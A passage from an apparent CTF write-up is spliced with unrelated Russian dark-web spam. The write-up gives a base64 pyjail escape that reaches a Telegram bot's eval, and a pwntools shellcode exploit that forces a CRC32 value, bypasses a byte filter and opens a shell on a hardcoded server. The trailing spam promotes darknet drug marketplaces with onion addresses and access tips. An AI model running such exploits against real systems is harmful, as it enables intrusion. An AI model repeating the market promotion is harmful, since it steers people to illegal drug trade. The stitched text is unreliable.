)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if ( !(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related

Вся серверная инфраструктура "Гидры" была изъята, сейчас мы занимаемся восстановлением всех функций сайта с резервных серверов написала она и призвала пользователей «Гидры» не паниковать, а магазинам посоветовала не искать альтернативные площадки. Независимо от легальности онион сайтов, для безопасного доступа к ним рекомендуется использовать специальный Tor Browser. Основной причиной является то, что люди, совершая покупку могут просто не найти свой товар, а причин этому тысячи. Временем и надежностью он доказал свою стабильность и то что ему можно доверять, а так же на официальной ОМГ находится около 5 тысяч магазинов, что создает между ними огромную конкуренцию, что заставляет продавцов понижать цену, а это не может быть неприятно для потребителей. На данный момент обе площадки примерно одинаково популярны и ничем не уступают друг другу по функционалу и своим возможностям. Год назад в Черной сети перестала функционировать крупнейшая нелегальная анонимная. Если же вы хотите обходить блокировки без использования стороннего браузера, то стоит попробовать TunnelBear. Топ сливы. Уже само название сети даркнет можно расшифровать как что-то темное или же даже скрытое. Ключевые слова: веб студия москва, создание сайта, продвижение Домен зарегистрирован: (13 лет назад) Домен действителен до: Регистратор домена: rucenter-REG-ripn Серверы имен: t t Яндекс ИКС: Индексация в Яндекс: 5 страниц IP сервера: Провайдер сервера: State Institute of Information Technologies and. Известны под названиями Deepweb, Darknet. Читайте также: Очистка мака от ненужных файлов. Onion - форум подлодка, всё о спутниковом телевидении. Но основным направлением интернет магазина ОМГ является продажа психотропных препаратов таких как трава, различные колёса, всевозможные кристаллы, а так же скорость и ещё множество различных веществ. Hiremew3tryzea3d.onion/ - HireMe Первый сайт для поиска работы в дипвебе. Мы выступаем за свободу слова. Mega вход Как зайти на Мегу 1 Как зайти на мегу с компьютера. Он годится как закрытый инструмент, не влияющий на работу остальной системы. Заполните соответствующую форму и разгадайте хитрую капчу для входа в личный аккаунт: Чтобы проверочный код входа приобрёл более человеческий вид, потяните за голубой ползунок до тех пор пока не увидите знакомые символы. Как известно наши жизнь требует адреналина и новых ощущений, но как их получить, если многие вещи для получения таких ощущений запрещены. А также на даркнете вы рискуете своими личными данными, которыми может завладеть его пользователь, возможен взлом вашего устройства, ну и, конечно же, возможность попасться на банальный обман. Требует включенный JavaScript. На сайте отсутствует база данных, а в интерфейс магазина Mega вход можно осуществить только через соединение Tor. Onion/ - Годнотаба открытый сервис мониторинга годноты в сети TOR. Начинание анончика, пожелаем
blacksprutl ему всяческой удачи. Действует на основании статьи 13 Федерального закона от 114-ФЗ «О противодействии экстремистской деятельности». Чем дальше идёт время, тем более интересные способы они придумывают. Из-за того, что операционная система компании Apple имеет систему защиты, создать официальное приложение Mega для данной платформы невозможно. Единственное ограничение это большие суммы перевода, есть риск, что кошелек заблокируют. Это защитит вашу учетную запись от взлома. Onion - ProtonMail достаточно известный и секурный имейл-сервис, требует JavaScript, к сожалению ozon3kdtlr6gtzjn. К сожалению, для нас, зачастую так называемые дядьки в погонах, правоохранительные органы объявляют самую настоящую войну Меге, из-за чего ей приходится использовать так называемое зеркало. Литература Литература flibustahezeous3.onion - Флибуста, зеркало t, литературное сообщество. На сайт ОМГ ОМГ вы можете зайти как с персонального компьютера, так и с IOS или Android устройства. Что с "Гидрой" сейчас - почему сайт "Гидра" не работает сегодня года, когда заработает "Гидра"? Основателем форума являлся пользователь под псевдонимом Darkside. Вскоре представитель «Гидры» добавил подробностей: «Работа ресурса будет восстановлена, несмотря ни на что. Вы легко найдете и установите приложение Onion Browser из App Store, после чего без труда осуществите беспрепятственный вход на Мегу по ссылке, представленной выше. Ну, вот OMG m. Веб-сервисы По степени удобства веб-сервисы, предлагающие открытие заблокированных сайтов через прокси-серверы, не сильно отличаются друг от друга. Вы используете устаревший браузер. Веб-сайты в Dark Web переходят с v2 на v3 Onion. . TLS, шифрование паролей пользователей, 100 доступность и другие плюшки.